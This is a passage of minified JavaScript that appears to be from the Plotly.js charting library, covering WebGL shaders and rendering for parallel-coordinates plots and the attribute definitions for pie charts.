    float y2 = val(A, dim1A) + val(B, dim1B) + val(C, dim1C) + val(D, dim1D);
    return y1 * (1.0 - ratio) + y2 * ratio;
}

int iMod(int a, int b) {
    return a - b * (a / b);
}

bool fOutside(float p, float lo, float hi) {
    return (lo < hi) && (lo > p || p > hi);
}

bool vOutside(vec4 p, vec4 lo, vec4 hi) {
    return (
        fOutside(p[0], lo[0], hi[0]) ||
        fOutside(p[1], lo[1], hi[1]) ||
        fOutside(p[2], lo[2], hi[2]) ||
        fOutside(p[3], lo[3], hi[3])
    );
}

bool mOutside(mat4 p, mat4 lo, mat4 hi) {
    return (
        vOutside(p[0], lo[0], hi[0]) ||
        vOutside(p[1], lo[1], hi[1]) ||
        vOutside(p[2], lo[2], hi[2]) ||
        vOutside(p[3], lo[3], hi[3])
    );
}

bool outsideBoundingBox(mat4 A, mat4 B, mat4 C, mat4 D) {
    return mOutside(A, loA, hiA) ||
           mOutside(B, loB, hiB) ||
           mOutside(C, loC, hiC) ||
           mOutside(D, loD, hiD);
}

bool outsideRasterMask(mat4 A, mat4 B, mat4 C, mat4 D) {
    mat4 pnts[4];
    pnts[0] = A;
    pnts[1] = B;
    pnts[2] = C;
    pnts[3] = D;

    for(int i = 0; i < 4; ++i) {
        for(int j = 0; j < 4; ++j) {
            for(int k = 0; k < 4; ++k) {
                if(0 == iMod(
                    int(255.0 * texture2D(maskTexture,
                        vec2(
                            (float(i * 2 + j / 2) + 0.5) / 8.0,
                            (pnts[i][j][k] * (maskHeight - 1.0) + 1.0) / maskHeight
                        ))[3]
                    ) / int(pow(2.0, float(iMod(j * 4 + k, 8)))),
                    2
                )) return true;
            }
        }
    }
    return false;
}

vec4 position(bool isContext, float v, mat4 A, mat4 B, mat4 C, mat4 D) {
    float x = 0.5 * sign(v) + 0.5;
    float y = axisY(x, A, B, C, D);
    float z = 1.0 - abs(v);

    z += isContext ? 0.0 : 2.0 * float(
        outsideBoundingBox(A, B, C, D) ||
        outsideRasterMask(A, B, C, D)
    );

    return vec4(
        2.0 * (vec2(x, y) * viewBoxSize + viewBoxPos) / resolution - 1.0,
        z,
        1.0
    );
}

void main() {
    mat4 A = mat4(p01_04, p05_08, p09_12, p13_16);
    mat4 B = mat4(p17_20, p21_24, p25_28, p29_32);
    mat4 C = mat4(p33_36, p37_40, p41_44, p45_48);
    mat4 D = mat4(p49_52, p53_56, p57_60, ZEROS);

    float v = colors[3];

    gl_Position = position(isContext, v, A, B, C, D);

    fragColor =
        isContext ? vec4(contextColor) :
        isPick ? vec4(colors.rgb, 1.0) : texture2D(palette, vec2(abs(v), 0.5));
}
`]),o=M([`precision highp float;
#define GLSLIFY 1

varying vec4 fragColor;

void main() {
    gl_FragColor = fragColor;
}
`]),L=e(25706).maxDimensionCount,S=e(71828),d=1e-6,g=2048,t=new Uint8Array(4),r=new Uint8Array(4),f={shape:[256,1],format:"rgba",type:"uint8",mag:"nearest",min:"nearest"};function a(A){A.read({x:0,y:0,width:1,height:1,data:t})}function l(A,m,n,C,x){var I=A._gl;I.enable(I.SCISSOR_TEST),I.scissor(m,n,C,x),A.clear({color:[0,0,0,0],depth:1})}function u(A,m,n,C,x,I){var k=I.key;function B(_){var F=Math.min(C,x-_*C);_===0&&(window.cancelAnimationFrame(n.currentRafs[k]),delete n.currentRafs[k],l(A,I.scissorX,I.scissorY,I.scissorWidth,I.viewBoxSize[1])),!n.clearOnly&&(I.count=2*F,I.offset=2*_*C,m(I),_*C+F<x&&(n.currentRafs[k]=window.requestAnimationFrame(function(){B(_+1)})),n.drawCompleted=!1)}n.drawCompleted||(a(A),n.drawCompleted=!0),B(0)}function s(A){return Math.max(d,Math.min(1-d,A))}function y(A,m){for(var n=new Array(256),C=0;C<256;C++)n[C]=A(C/255).concat(m);return n}function c(A,m){return(A>>>8*m)%256/255}function b(A,m,n){for(var C=new Array(A*(L+4)),x=0,I=0;I<A;I++){for(var k=0;k<L;k++)C[x++]=k<m.length?m[k].paddedUnitValues[I]:.5;C[x++]=c(I,2),C[x++]=c(I,1),C[x++]=c(I,0),C[x++]=s(n[I])}return C}function h(A,m,n){for(var C=new Array(m*8),x=0,I=0;I<m;I++)for(var k=0;k<2;k++)for(var B=0;B<4;B++){var _=A*4+B,F=n[I*64+_];_===63&&k===0&&(F*=-1),C[x++]=F}return C}function i(A){var m="0"+A;return m.substr(m.length-2)}function v(A){return A<L?"p"+i(A+1)+"_"+i(A+4):"colors"}function T(A,m,n){for(var C=0;C<=L;C+=4)A[v(C)](h(C/4,m,n))}function w(A){for(var m={},n=0;n<=L;n+=4)m[v(n)]=A.buffer({usage:"dynamic",type:"float",data:new Uint8Array(0)});return m}function E(A,m,n,C,x,I,k,B,_,F,O,z,N,G){for(var J=[[],[]],q=0;q<64;q++)J[0][q]=q===x?1:0,J[1][q]=q===I?1:0;k*=G,B*=G,_*=G,F*=G;var ne=A.lines.canvasOverdrag*G,fe=A.domain,X=A.canvasWidth*G,W=A.canvasHeight*G,V=A.pad.l*G,Y=A.pad.b*G,Q=A.layoutHeight*G,ie=A.layoutWidth*G,j=A.deselectedLines.color,K=A.deselectedLines.opacity,oe=S.extendFlat({key:O,resolution:[X,W],viewBoxPos:[k+ne,B],viewBoxSize:[_,F],i0:x,i1:I,dim0A:J[0].slice(0,16),dim0B:J[0].slice(16,32),dim0C:J[0].slice(32,48),dim0D:J[0].slice(48,64),dim1A:J[1].slice(0,16),dim1B:J[1].slice(16,32),dim1C:J[1].slice(32,48),dim1D:J[1].slice(48,64),drwLayer:z,contextColor:[j[0]/255,j[1]/255,j[2]/255,K!=="auto"?j[3]*K:Math.max(1/255,Math.pow(1/A.lines.color.length,1/3))],scissorX:(C===m?0:k+ne)+(V-ne)+ie*fe.x[0],scissorWidth:(C===n?X-k+ne:_+.5)+(C===m?k+ne:0),scissorY:B+Y+Q*fe.y[0],scissorHeight:F,viewportX:V-ne+ie*fe.x[0],viewportY:Y+Q*fe.y[0],viewportWidth:X,viewportHeight:W},N);return oe}function p(A){var m=g-1,n=Math.max(0,Math.floor(A[0]*m),0),C=Math.min(m,Math.ceil(A[1]*m),m);return[Math.min(n,C),Math.max(n,C)]}te.exports=function(A,m){var n=m.context,C=m.pick,x=m.regl,I=x._gl,k=I.getParameter(I.ALIASED_LINE_WIDTH_RANGE),B=Math.max(k[0],Math.min(k[1],m.viewModel.plotGlPixelRatio)),_={currentRafs:{},drawCompleted:!0,clearOnly:!1},F,O,z,N,G=w(x),J,q=x.texture(f),ne=[];X(m);var fe=x({profile:!1,blend:{enable:n,func:{srcRGB:"src alpha",dstRGB:"one minus src alpha",srcAlpha:1,dstAlpha:1},equation:{rgb:"add",alpha:"add"},color:[0,0,0,0]},depth:{enable:!n,mask:!0,func:"less",range:[0,1]},cull:{enable:!0,face:"back"},scissor:{enable:!0,box:{x:x.prop("scissorX"),y:x.prop("scissorY"),width:x.prop("scissorWidth"),height:x.prop("scissorHeight")}},viewport:{x:x.prop("viewportX"),y:x.prop("viewportY"),width:x.prop("viewportWidth"),height:x.prop("viewportHeight")},dither:!1,vert:P,frag:o,primitive:"lines",lineWidth:B,attributes:G,uniforms:{resolution:x.prop("resolution"),viewBoxPos:x.prop("viewBoxPos"),viewBoxSize:x.prop("viewBoxSize"),dim0A:x.prop("dim0A"),dim1A:x.prop("dim1A"),dim0B:x.prop("dim0B"),dim1B:x.prop("dim1B"),dim0C:x.prop("dim0C"),dim1C:x.prop("dim1C"),dim0D:x.prop("dim0D"),dim1D:x.prop("dim1D"),loA:x.prop("loA"),hiA:x.prop("hiA"),loB:x.prop("loB"),hiB:x.prop("hiB"),loC:x.prop("loC"),hiC:x.prop("hiC"),loD:x.prop("loD"),hiD:x.prop("hiD"),palette:q,contextColor:x.prop("contextColor"),maskTexture:x.prop("maskTexture"),drwLayer:x.prop("drwLayer"),maskHeight:x.prop("maskHeight")},offset:x.prop("offset"),count:x.prop("count")});function X(j){F=j.model,O=j.viewModel,z=O.dimensions.slice(),N=z[0]?z[0].values.length:0;var K=F.lines,oe=C?K.color.map(function(le,pe){return pe/K.color.length}):K.color,re=b(N,z,oe);T(G,N,re),!n&&!C&&(q=x.texture(S.extendFlat({data:y(F.unitToColor,255)},f)))}function W(j){var K,oe,re,le=[[],[]];for(re=0;re<64;re++){var pe=!j&&re<z.length?z[re].brush.filter.getBounds():[-1/0,1/0];le[0][re]=pe[0],le[1][re]=pe[1]}var we=g*8,xe=new Array(we);for(K=0;K<we;K++)xe[K]=255;if(!j)for(K=0;K<z.length;K++){var ke=K%8,_e=(K-ke)/8,be=Math.pow(2,ke),ge=z[K],Te=ge.brush.filter.get();if(!(Te.length<2)){var Fe=p(Te[0])[1];for(oe=1;oe<Te.length;oe++){var Oe=p(Te[oe]);for(re=Fe+1;re<Oe[0];re++)xe[re*8+_e]&=~be;Fe=Math.max(Fe,Oe[1])}}}var Ce={shape:[8,g],format:"alpha",type:"uint8",mag:"nearest",min:"nearest",data:xe};return J?J(Ce):J=x.texture(Ce),{maskTexture:J,maskHeight:g,loA:le[0].slice(0,16),loB:le[0].slice(16,32),loC:le[0].slice(32,48),loD:le[0].slice(48,64),hiA:le[1].slice(0,16),hiB:le[1].slice(16,32),hiC:le[1].slice(32,48),hiD:le[1].slice(48,64)}}function V(j,K,oe){var re=j.length,le,pe,we,xe=1/0,ke=-1/0;for(le=0;le<re;le++)j[le].dim0.canvasX<xe&&(xe=j[le].dim0.canvasX,pe=le),j[le].dim1.canvasX>ke&&(ke=j[le].dim1.canvasX,we=le);re===0&&l(x,0,0,F.canvasWidth,F.canvasHeight);var _e=W(n);for(le=0;le<re;le++){var be=j[le],ge=be.dim0.crossfilterDimensionIndex,Te=be.dim1.crossfilterDimensionIndex,Fe=be.canvasX,Oe=be.canvasY,Ce=Fe+be.panelSizeX,Be=be.plotGlPixelRatio;if(K||!ne[ge]||ne[ge][0]!==Fe||ne[ge][1]!==Ce){ne[ge]=[Fe,Ce];var $e=E(F,pe,we,le,ge,Te,Fe,Oe,be.panelSizeX,be.panelSizeY,be.dim0.crossfilterDimensionIndex,n?0:C?2:1,_e,Be);_.clearOnly=oe;var Xe=K?F.lines.blockLineCount:N;u(x,fe,_,Xe,N,$e)}}}function Y(j,K){return x.read({x:j,y:K,width:1,height:1,data:r}),r}function Q(j,K,oe,re){var le=new Uint8Array(4*oe*re);return x.read({x:j,y:K,width:oe,height:re,data:le}),le}function ie(){A.style["pointer-events"]="none",q.destroy(),J&&J.destroy();for(var j in G)G[j].destroy()}return{render:V,readPixel:Y,readPixels:Q,destroy:ie,update:X}}},94397:function(te){te.exports=function(Z,e,M,P){P||(P=1/0);var o,L;for(o=0;o<e.length;o++)L=e[o],L.visible&&(P=Math.min(P,L[M].length));for(P===1/0&&(P=0),Z._length=P,o=0;o<e.length;o++)L=e[o],L.visible&&(L._length=P);return P}},17171:function(te,Z,e){var M=e(39898),P=e(71828),o=P.numberFormat,L=e(36652),S=e(89298),d=P.strRotate,g=P.strTranslate,t=e(63893),r=e(91424),f=e(21081),a=e(28984),l=a.keyFun,u=a.repeat,s=a.unwrap,y=e(1602),c=e(25706),b=e(57920),h=e(83398);function i(J,q,ne){return P.aggNums(J,null,q,ne)}function v(J,q){return w(i(Math.min,J,q),i(Math.max,J,q))}function T(J){var q=J.range;return q?w(q[0],q[1]):v(J.values,J._length)}function w(J,q){return(isNaN(J)||!isFinite(J))&&(J=0),(isNaN(q)||!isFinite(q))&&(q=0),J===q&&(J===0?(J-=1,q+=1):(J*=.9,q*=1.1)),[J,q]}function E(J,q){return q?function(ne,fe){var X=q[fe];return X??J(ne)}:J}function p(J,q,ne,fe,X){var W=T(ne);return fe?M.scale.ordinal().domain(fe.map(E(o(ne.tickformat),X))).range(fe.map(function(V){var Y=(V-W[0])/(W[1]-W[0]);return J-q+Y*(2*q-J)})):M.scale.linear().domain(W).range([J-q,q])}function A(J,q){return M.scale.linear().range([q,J-q])}function m(J,q){return M.scale.linear().domain(T(J)).range([q,1-q])}function n(J){if(J.tickvals){var q=T(J);return M.scale.ordinal().domain(J.tickvals).range(J.tickvals.map(function(ne){return(ne-q[0])/(q[1]-q[0])}))}}function C(J){var q=J.map(function(W){return W[0]}),ne=J.map(function(W){var V=L(W[1]);return M.rgb("rgb("+V[0]+","+V[1]+","+V[2]+")")}),fe=function(W){return function(V){return V[W]}},X="rgb".split("").map(function(W){return M.scale.linear().clamp(!0).domain(q).range(ne.map(fe(W)))});return function(W){return X.map(function(V){return V(W)})}}function x(J){return J.dimensions.some(function(q){return q.brush.filterSpecified})}function I(J,q,ne){var fe=s(q),X=fe.trace,W=y.convertTypedArray(fe.lineColor),V=X.line,Y={color:L(X.unselected.line.color),opacity:X.unselected.line.opacity},Q=f.extractOpts(V),ie=Q.reversescale?f.flipScale(fe.cscale):fe.cscale,j=X.domain,K=X.dimensions,oe=J.width,re=X.labelangle,le=X.labelside,pe=X.labelfont,we=X.tickfont,xe=X.rangefont,ke=P.extendDeepNoArrays({},V,{color:W.map(M.scale.linear().domain(T({values:W,range:[Q.min,Q.max],_length:X._length}))),blockLineCount:c.blockLineCount,canvasOverdrag:c.overdrag*c.canvasPixelRatio}),_e=Math.floor(oe*(j.x[1]-j.x[0])),be=Math.floor(J.height*(j.y[1]-j.y[0])),ge=J.margin||{l:80,r:80,t:100,b:80},Te=_e,Fe=be;return{key:ne,colCount:K.filter(y.isVisible).length,dimensions:K,tickDistance:c.tickDistance,unitToColor:C(ie),lines:ke,deselectedLines:Y,labelAngle:re,labelSide:le,labelFont:pe,tickFont:we,rangeFont:xe,layoutWidth:oe,layoutHeight:J.height,domain:j,translateX:j.x[0]*oe,translateY:J.height-j.y[1]*J.height,pad:ge,canvasWidth:Te*c.canvasPixelRatio+2*ke.canvasOverdrag,canvasHeight:Fe*c.canvasPixelRatio,width:Te,height:Fe,canvasPixelRatio:c.canvasPixelRatio}}function k(J,q,ne){var fe=ne.width,X=ne.height,W=ne.dimensions,V=ne.canvasPixelRatio,Y=function(oe){return fe*oe/Math.max(1,ne.colCount-1)},Q=c.verticalPadding/X,ie=A(X,c.verticalPadding),j={key:ne.key,xScale:Y,model:ne,inBrushDrag:!1},K={};return j.dimensions=W.filter(y.isVisible).map(function(oe,re){var le=m(oe,Q),pe=K[oe.label];K[oe.label]=(pe||0)+1;var we=oe.label+(pe?"__"+pe:""),xe=oe.constraintrange,ke=xe&&xe.length;ke&&!Array.isArray(xe[0])&&(xe=[xe]);var _e=ke?xe.map(function(Ze){return Ze.map(le)}):[[-1/0,1/0]],be=function(){var Ze=j;Ze.focusLayer&&Ze.focusLayer.render(Ze.panels,!0);var Ke=x(Ze);!J.contextShown()&&Ke?(Ze.contextLayer&&Ze.contextLayer.render(Ze.panels,!0),J.contextShown(!0)):J.contextShown()&&!Ke&&(Ze.contextLayer&&Ze.contextLayer.render(Ze.panels,!0,!0),J.contextShown(!1))},ge=oe.values;ge.length>oe._length&&(ge=ge.slice(0,oe._length));var Te=oe.tickvals,Fe;function Oe(Ze,Ke){return{val:Ze,text:Fe[Ke]}}function Ce(Ze,Ke){return Ze.val-Ke.val}if(Array.isArray(Te)&&Te.length){Fe=oe.ticktext,!Array.isArray(Fe)||!Fe.length?Fe=Te.map(o(oe.tickformat)):Fe.length>Te.length?Fe=Fe.slice(0,Te.length):Te.length>Fe.length&&(Te=Te.slice(0,Fe.length));for(var Be=1;Be<Te.length;Be++)if(Te[Be]<Te[Be-1]){for(var $e=Te.map(Oe).sort(Ce),Xe=0;Xe<Te.length;Xe++)Te[Xe]=$e[Xe].val,Fe[Xe]=$e[Xe].text;break}}else Te=void 0;return ge=y.convertTypedArray(ge),{key:we,label:oe.label,tickFormat:oe.tickformat,tickvals:Te,ticktext:Fe,ordinal:y.isOrdinal(oe),multiselect:oe.multiselect,xIndex:re,crossfilterDimensionIndex:re,visibleIndex:oe._index,height:X,values:ge,paddedUnitValues:ge.map(le),unitTickvals:Te&&Te.map(le),xScale:Y,x:Y(re),canvasX:Y(re)*V,unitToPaddedPx:ie,domainScale:p(X,c.verticalPadding,oe,Te,Fe),ordinalScale:n(oe),parent:j,model:ne,brush:b.makeBrush(J,ke,_e,function(){J.linePickActive(!1)},be,function(Ze){if(j.focusLayer.render(j.panels,!0),j.pickLayer&&j.pickLayer.render(j.panels,!0),J.linePickActive(!0),q&&q.filterChanged){var Ke=le.invert,st=Ze.map(function(lt){return lt.map(Ke).sort(P.sorterAsc)}).sort(function(lt,ut){return lt[0]-ut[0]});q.filterChanged(j.key,oe._index,st)}})}}),j}function B(J){J.classed(c.cn.axisExtentText,!0).attr("text-anchor","middle").style("cursor","default")}function _(){var J=!0,q=!1;return{linePickActive:function(ne){return arguments.length?J=!!ne:J},contextShown:function(ne){return arguments.length?q=!!ne:q}}}function F(J,q){var ne=q==="top"?1:-1,fe=J*Math.PI/180,X=Math.sin(fe),W=Math.cos(fe);return{dir:ne,dx:X,dy:W,degrees:J}}function O(J,q,ne){for(var fe=q.panels||(q.panels=[]),X=J.data(),W=0;W<X.length-1;W++){var V=fe[W]||(fe[W]={}),Y=X[W],Q=X[W+1];V.dim0=Y,V.dim1=Q,V.canvasX=Y.canvasX,V.panelSizeX=Q.canvasX-Y.canvasX,V.panelSizeY=q.model.canvasHeight,V.y=0,V.canvasY=0,V.plotGlPixelRatio=ne}}function z(J){for(var q=0;q<J.length;q++)for(var ne=0;ne<J[q].length;ne++)for(var fe=J[q][ne].trace,X=fe.dimensions,W=0;W<X.length;W++){var V=X[W].values,Y=X[W]._ax;Y&&(Y.range?Y.range=w(Y.range[0],Y.range[1]):Y.range=v(V,fe._length),Y.dtick||(Y.dtick=.01*(Math.abs(Y.range[1]-Y.range[0])||1)),Y.tickformat=X[W].tickformat,S.calcTicks(Y),Y.cleanRange())}}function N(J,q){return S.tickText(J._ax,q,!1).text}function G(J,q){if(J.ordinal)return"";var ne=J.domainScale.domain(),fe=ne[q?ne.length-1:0];return N(J.model.dimensions[J.visibleIndex],fe)}te.exports=function(q,ne,fe,X){var W=q._context.staticPlot,V=q._fullLayout,Y=V._toppaper,Q=V._glcontainer,ie=q._context.plotGlPixelRatio,j=q._fullLayout.paper_bgcolor;z(ne);var K=_(),oe=ne.filter(function(Xe){return s(Xe).trace.visible}).map(I.bind(0,fe)).map(k.bind(0,K,X));Q.each(function(Xe,Ze){return P.extendFlat(Xe,oe[Ze])});var re=Q.selectAll(".gl-canvas").each(function(Xe){Xe.viewModel=oe[0],Xe.viewModel.plotGlPixelRatio=ie,Xe.viewModel.paperColor=j,Xe.model=Xe.viewModel?Xe.viewModel.model:null}),le=null,pe=re.filter(function(Xe){return Xe.pick});pe.style("pointer-events",W?"none":"auto").on("mousemove",function(Xe){if(K.linePickActive()&&Xe.lineLayer&&X&&X.hover){var Ze=M.event,Ke=this.width,st=this.height,lt=M.mouse(this),ut=lt[0],yt=lt[1];if(ut<0||yt<0||ut>=Ke||yt>=st)return;var bt=Xe.lineLayer.readPixel(ut,st-1-yt),Ot=bt[3]!==0,Ge=Ot?bt[2]+256*(bt[1]+256*bt[0]):null,Le={x:ut,y:yt,clientX:Ze.clientX,clientY:Ze.clientY,dataIndex:Xe.model.key,curveNumber:Ge};Ge!==le&&(Ot?X.hover(Le):X.unhover&&X.unhover(Le),le=Ge)}}),re.style("opacity",function(Xe){return Xe.pick?0:1}),Y.style("background","rgba(255, 255, 255, 0)");var we=Y.selectAll("."+c.cn.parcoords).data(oe,l);we.exit().remove(),we.enter().append("g").classed(c.cn.parcoords,!0).style("shape-rendering","crispEdges").style("pointer-events","none"),we.attr("transform",function(Xe){return g(Xe.model.translateX,Xe.model.translateY)});var xe=we.selectAll("."+c.cn.parcoordsControlView).data(u,l);xe.enter().append("g").classed(c.cn.parcoordsControlView,!0),xe.attr("transform",function(Xe){return g(Xe.model.pad.l,Xe.model.pad.t)});var ke=xe.selectAll("."+c.cn.yAxis).data(function(Xe){return Xe.dimensions},l);ke.enter().append("g").classed(c.cn.yAxis,!0),xe.each(function(Xe){O(ke,Xe,ie)}),re.each(function(Xe){if(Xe.viewModel){!Xe.lineLayer||X?Xe.lineLayer=h(this,Xe):Xe.lineLayer.update(Xe),(Xe.key||Xe.key===0)&&(Xe.viewModel[Xe.key]=Xe.lineLayer);var Ze=!Xe.context||X;Xe.lineLayer.render(Xe.viewModel.panels,Ze)}}),ke.attr("transform",function(Xe){return g(Xe.xScale(Xe.xIndex),0)}),ke.call(M.behavior.drag().origin(function(Xe){return Xe}).on("drag",function(Xe){var Ze=Xe.parent;K.linePickActive(!1),Xe.x=Math.max(-c.overdrag,Math.min(Xe.model.width+c.overdrag,M.event.x)),Xe.canvasX=Xe.x*Xe.model.canvasPixelRatio,ke.sort(function(Ke,st){return Ke.x-st.x}).each(function(Ke,st){Ke.xIndex=st,Ke.x=Xe===Ke?Ke.x:Ke.xScale(Ke.xIndex),Ke.canvasX=Ke.x*Ke.model.canvasPixelRatio}),O(ke,Ze,ie),ke.filter(function(Ke){return Math.abs(Xe.xIndex-Ke.xIndex)!==0}).attr("transform",function(Ke){return g(Ke.xScale(Ke.xIndex),0)}),M.select(this).attr("transform",g(Xe.x,0)),ke.each(function(Ke,st,lt){lt===Xe.parent.key&&(Ze.dimensions[st]=Ke)}),Ze.contextLayer&&Ze.contextLayer.render(Ze.panels,!1,!x(Ze)),Ze.focusLayer.render&&Ze.focusLayer.render(Ze.panels)}).on("dragend",function(Xe){var Ze=Xe.parent;Xe.x=Xe.xScale(Xe.xIndex),Xe.canvasX=Xe.x*Xe.model.canvasPixelRatio,O(ke,Ze,ie),M.select(this).attr("transform",function(Ke){return g(Ke.x,0)}),Ze.contextLayer&&Ze.contextLayer.render(Ze.panels,!1,!x(Ze)),Ze.focusLayer&&Ze.focusLayer.render(Ze.panels),Ze.pickLayer&&Ze.pickLayer.render(Ze.panels,!0),K.linePickActive(!0),X&&X.axesMoved&&X.axesMoved(Ze.key,Ze.dimensions.map(function(Ke){return Ke.crossfilterDimensionIndex}))})),ke.exit().remove();var _e=ke.selectAll("."+c.cn.axisOverlays).data(u,l);_e.enter().append("g").classed(c.cn.axisOverlays,!0),_e.selectAll("."+c.cn.axis).remove();var be=_e.selectAll("."+c.cn.axis).data(u,l);be.enter().append("g").classed(c.cn.axis,!0),be.each(function(Xe){var Ze=Xe.model.height/Xe.model.tickDistance,Ke=Xe.domainScale,st=Ke.domain();M.select(this).call(M.svg.axis().orient("left").tickSize(4).outerTickSize(2).ticks(Ze,Xe.tickFormat).tickValues(Xe.ordinal?st:null).tickFormat(function(lt){return y.isOrdinal(Xe)?lt:N(Xe.model.dimensions[Xe.visibleIndex],lt)}).scale(Ke)),r.font(be.selectAll("text"),Xe.model.tickFont)}),be.selectAll(".domain, .tick>line").attr("fill","none").attr("stroke","black").attr("stroke-opacity",.25).attr("stroke-width","1px"),be.selectAll("text").style("text-shadow",t.makeTextShadow(j)).style("cursor","default");var ge=_e.selectAll("."+c.cn.axisHeading).data(u,l);ge.enter().append("g").classed(c.cn.axisHeading,!0);var Te=ge.selectAll("."+c.cn.axisTitle).data(u,l);Te.enter().append("text").classed(c.cn.axisTitle,!0).attr("text-anchor","middle").style("cursor","ew-resize").style("pointer-events",W?"none":"auto"),Te.text(function(Xe){return Xe.label}).each(function(Xe){var Ze=M.select(this);r.font(Ze,Xe.model.labelFont),t.convertToTspans(Ze,q)}).attr("transform",function(Xe){var Ze=F(Xe.model.labelAngle,Xe.model.labelSide),Ke=c.axisTitleOffset;return(Ze.dir>0?"":g(0,2*Ke+Xe.model.height))+d(Ze.degrees)+g(-Ke*Ze.dx,-Ke*Ze.dy)}).attr("text-anchor",function(Xe){var Ze=F(Xe.model.labelAngle,Xe.model.labelSide),Ke=Math.abs(Ze.dx),st=Math.abs(Ze.dy);return 2*Ke>st?Ze.dir*Ze.dx<0?"start":"end":"middle"});var Fe=_e.selectAll("."+c.cn.axisExtent).data(u,l);Fe.enter().append("g").classed(c.cn.axisExtent,!0);var Oe=Fe.selectAll("."+c.cn.axisExtentTop).data(u,l);Oe.enter().append("g").classed(c.cn.axisExtentTop,!0),Oe.attr("transform",g(0,-c.axisExtentOffset));var Ce=Oe.selectAll("."+c.cn.axisExtentTopText).data(u,l);Ce.enter().append("text").classed(c.cn.axisExtentTopText,!0).call(B),Ce.text(function(Xe){return G(Xe,!0)}).each(function(Xe){r.font(M.select(this),Xe.model.rangeFont)});var Be=Fe.selectAll("."+c.cn.axisExtentBottom).data(u,l);Be.enter().append("g").classed(c.cn.axisExtentBottom,!0),Be.attr("transform",function(Xe){return g(0,Xe.model.height+c.axisExtentOffset)});var $e=Be.selectAll("."+c.cn.axisExtentBottomText).data(u,l);$e.enter().append("text").classed(c.cn.axisExtentBottomText,!0).attr("dy","0.75em").call(B),$e.text(function(Xe){return G(Xe,!1)}).each(function(Xe){r.font(M.select(this),Xe.model.rangeFont)}),b.ensureAxisBrush(_e,j,q)}},21341:function(te,Z,e){var M=e(17171),P=e(79749),o=e(1602).isVisible,L={};function S(t,r,f){var a=r.indexOf(f),l=t.indexOf(a);return l===-1&&(l+=r.length),l}function d(t,r){return function(a,l){return S(t,r,a)-S(t,r,l)}}var g=te.exports=function(r,f){var a=r._fullLayout,l=P(r,[],L);if(l){var u={},s={},y={},c={},b=a._size;f.forEach(function(w,E){var p=w[0].trace;y[E]=p.index;var A=c[E]=p._fullInput.index;u[E]=r.data[A].dimensions,s[E]=r.data[A].dimensions.slice()});var h=function(w,E,p){var A=s[w][E],m=p.map(function(B){return B.slice()}),n="dimensions["+E+"].constraintrange",C=a._tracePreGUI[r._fullData[y[w]]._fullInput.uid];if(C[n]===void 0){var x=A.constraintrange;C[n]=x||null}var I=r._fullData[y[w]].dimensions[E];m.length?(m.length===1&&(m=m[0]),A.constraintrange=m,I.constraintrange=m.slice(),m=[m]):(delete A.constraintrange,delete I.constraintrange,m=null);var k={};k[n]=m,r.emit("plotly_restyle",[k,[c[w]]])},i=function(w){r.emit("plotly_hover",w)},v=function(w){r.emit("plotly_unhover",w)},T=function(w,E){var p=d(E,s[w].filter(o));u[w].sort(p),s[w].filter(function(A){return!o(A)}).sort(function(A){return s[w].indexOf(A)}).forEach(function(A){u[w].splice(u[w].indexOf(A),1),u[w].splice(s[w].indexOf(A),0,A)}),r.emit("plotly_restyle",[{dimensions:[u[w]]},[c[w]]])};M(r,f,{width:b.w,height:b.h,margin:{t:b.t,r:b.r,b:b.b,l:b.l}},{filterChanged:h,hover:i,unhover:v,axesMoved:T})}};g.reglPrecompiled=L},34e3:function(te,Z,e){var M=e(9012),P=e(27670).Y,o=e(41940),L=e(22399),S=e(5386).fF,d=e(5386).si,g=e(1426).extendFlat,t=e(79952).u,r=o({editType:"plot",arrayOk:!0,colorEditType:"plot"});te.exports={labels:{valType:"data_array",editType:"calc"},label0:{valType:"number",dflt:0,editType:"calc"},dlabel:{valType:"number",dflt:1,editType:"calc"},values:{valType:"data_array",editType:"calc"},marker:{colors:{valType:"data_array",editType:"calc"},line:{color:{valType:"color",dflt:L.defaultLine,arrayOk:!0,editType:"style"},width:{valType:"number",min:0,dflt:0,arrayOk:!0,editType:"style"},editType:"calc"},pattern:t,editType:"calc"},text:{valType:"data_array",editType:"plot"},hovertext:{valType:"string",dflt:"",arrayOk:!0,editType:"style"},scalegroup:{valType:"string",dflt:"",editType:"calc"},textinfo:{valType:"flaglist",flags:["label","text","value","percent"],extras:["none"],editType:"calc"},hoverinfo:g({},M.hoverinfo,{flags:["label","text","value","percent","name"]}),hovertemplate:S({},{keys:["label","color","value","percent","text"]}),texttemplate:d({editType:"plot"},{keys:["label","color","value","percent","text"]}),textposition:{valType:"enumerated",values:["inside","outside","auto","none"],dflt:"auto",arrayOk:!0,editType:"plot"},textfont:g({},r,{}),insidetextorientation:{valType:"enumerated",values:["horizontal","radial","tangential","auto"],dflt:"auto",editType:"plot"},insidetextfont:g({},r,{}),outsidetextfont:g({},r,{}),automargin:{valType:"boolean",dflt:!1,editType:"plot"},title:{text:{valType:"string",dflt:"",editType:"plot"},font:g({},r,{}),position:{valType:"enumerated",values:["top left","top center","top right","middle center","bottom left","bottom center","bottom right"],editType:"plot"},editType:"plot"},domain:P({name:"pie",trace:!0,editType:"calc"}),hole:{valType:"number",min:0,max:1,dflt:0,editType:"calc"},sort:{valType:"boolean",dflt:!0,editType:"calc"},direction:{valType:"enumerated",values:["clockwise","counterclockwise"],dflt:"counterclockwise",editType:"calc"},rotation:{valType:"angle",dflt:0,editType:"calc"},pull:{valType:"number",min:0,max:1,dflt:0,arrayOk:!0,editType:"calc"},_deprecated:{title:{valType:"string",dflt:"",editType:"calc"},titlefont:g({},r,{}),titleposition:{valType:"enumerated",values:["top left","top center","top right","middle center","bottom left","bottom center","bottom right"],editType:"calc"}}}},13584:function(te,Z,e){var M=e(74875);Z.name="pie",Z.plot=function(P,o,L,S){M.plotBasePlot(Z.name,P,o,L,S)},Z.clean=function(P,o,L,S){M.cleanBasePlot(Z.name,P,o,L,S)}},32354:function(te,Z,e){var M=e(92770),P=e(84267),o=e(7901),L={};function S(r,f){var a=[],l=r._fullLayout,u=l.hiddenlabels||[],s=f.labels,y=f.marker.colors||[],c=f.values,b=f._length,h=f._hasValues&&b,i,v;if(f.dlabel)for(s=new Array(b),i=0;i<b;i++)s[i]=String(f.label0+i*f.dlabel);var T={},w=d(l["_"+f.type+"colormap"]),E=0,p=!1;for(i=0;i<b;i++){var A,m,n;if(h){if(A=c[i],!M(A))continue;A=+A}else A=1;m=s[i],(m===void 0||m==="")&&(m=i),m=String(m);var C=T[m];C===void 